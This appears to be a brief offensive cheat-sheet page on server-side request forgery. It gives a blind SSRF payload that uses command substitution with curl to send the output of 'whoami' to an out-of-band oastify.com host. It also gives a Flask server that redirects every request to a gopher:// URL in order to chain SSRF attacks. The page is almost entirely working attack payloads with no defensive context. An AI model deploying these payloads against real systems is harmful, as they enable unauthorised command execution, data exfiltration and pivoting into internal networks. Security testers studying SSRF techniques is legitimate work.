Skip to main content

SSRF

Blind Linux SSRF Payload

curl "$(whoami)oastify.com"

gopherRedirect

from flask import Flask, redirect, request

app = Flask(__name__)

# Redirect route
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
# Construct the Gopher URL
gopher_url = f"gopher://temp.oastify.com"
return redirect(gopher_url, code=301)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)